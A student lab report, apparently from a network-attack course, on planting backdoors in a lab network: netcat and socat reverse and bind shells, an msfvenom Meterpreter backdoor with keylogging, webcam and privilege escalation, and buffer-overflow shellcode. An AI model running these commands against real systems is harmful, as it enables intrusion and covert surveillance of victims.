@Half-Bread
2020-03-20T07:37:57.000000Z
字数 2648
阅读 182
网络对抗
crontab -e
添加定时任务,第一次启动时选择编辑器2。在文件最后一行添加12 * * * * /bin/netcat 192.168.0.106 4317 -e /bin/sh
,表示每小时的第12分钟,反向连接192.168.0.106
的4317
端口,并执行/bin/sh。
12分后,在Windows10主机中执行ncat -l 4317
,进行验证,发现连接成功。
在Windows主机中左下角的Windows徽标上右键单击,选择计算机管理,再选择任务计划程序,点击创建任务。
名称
任意,在触发器
选项卡中点击新建
,我这里设置开始任务
为:工作站锁定时
,并勾选已启用
。
在操作
选项卡中点击新建
,设置操作为启动程序
,并选择已经解压的socta程序,在添加参数
中输入tcp-listen:<端口号> exec:cmd.exe,pty,stderr
,这个命令把cmd.exe
绑定到设置的端口号,同时把cmd.exe的stderr重定向到stdout上。设置完后点击确定
保存新任务。
先按Win+L
锁定工作站,然后解锁,再次进入任务计划程序,查看查看所有正在运行的任务
,可以看到刚才添加的任务已经启动了。
在Kali中,输入socat - tcp:192.168.0.106:4317
,可以获取到cmd shell
。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00x0axff' LHOST=192.168.0.105 LPORT=4317 -f exe > zy20174317_backdoor.exe
生成带有后门的可执行文件,其中-p
表示使用的payload。这里windows/meterpreter/reverse_tcp就是一段shellcode,表示windows反向连接kali。-e
指定编码器,-b
表示shellcode中不要出现以下字符,由于这里使用的是反向连接,所以LHOST
需要时设置为Kali的IP。
图
使用nc传输文件:先在Windows的cmd.exe
中执行ncat -l 4317 > zy20174317_backdoor.exe
,然后在Kali中执行nc 192.168.0.106 4317 < zy20174317_backdoor.exe
,将文件从Kali中传到Windows中。
在传输前记得关闭杀毒软件和防火墙,例如Win10自带的Windows Defender。
传输完成后连接不会自动关闭,可以通过查看文件大小来判断传输是否完成,然后手动关闭连接。检查后可以发现成功接收了文件。
在Kali中执行msfconsole
指令进入msf控制台。
use exploit/multi/handler
使用侦听模块,设置payload。set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload。set LHOST 192.168.0.105
,这里用的是Kali的IP,和生成后门程序时指定的IP相同。set LPORT 4317
,使用相同的端口。show options
来查看设置。设置完成后,输入exploit
执行监听。在Windows中运行后门程序,Kail上可以获得Windows的Shell。
使用record_mic
指令可以截获一段音频。(输入-h
可以查看参数列表)
使用webcam_snap
指令可以使用摄像头进行拍照。(输入-h
可以查看参数列表)
使用screenshot
指令可以截屏。
使用keysacn_start
指令开始记录击键,使用keyscan_dump
指令读取击键记录。
使用getuid
指令查看当前用户,使用getsystem
指令进行提权操作。
最开始提权是失败了的,后来参考这篇博客,提权成功。
输入msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4317 -f c
得到shellcode:
参考实验一,关闭地址随机化,设置堆栈可执行。然后找到shellcode的起始地址,仍然为0xffffd350
,生成用于注入的shellcode:
perl -e 'print "A" x 32; print "\x50\xd3\xff\xff\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68\x02\x00\x10\xdd\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"' > 20174317_shellcode
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp //生成shellcode时使用的playload
set LHOST 127.0.0.1
set LPORT 4317
exploit //设置完成,开始侦听
在前一个终端中执行(cat 20174317_shellcode;cat) | ./20174317-pwn1
注入shellcode
可以发现在msf控制台中已经获得了shell
在Windows中运行可执行文件时出错,检查后发现是权限不足,查看文件属性,在安全
选项卡中,选择编辑,将Everyone
的权限设置为完全控制
,然后点击高级
,将权限条目
中的第一行删除。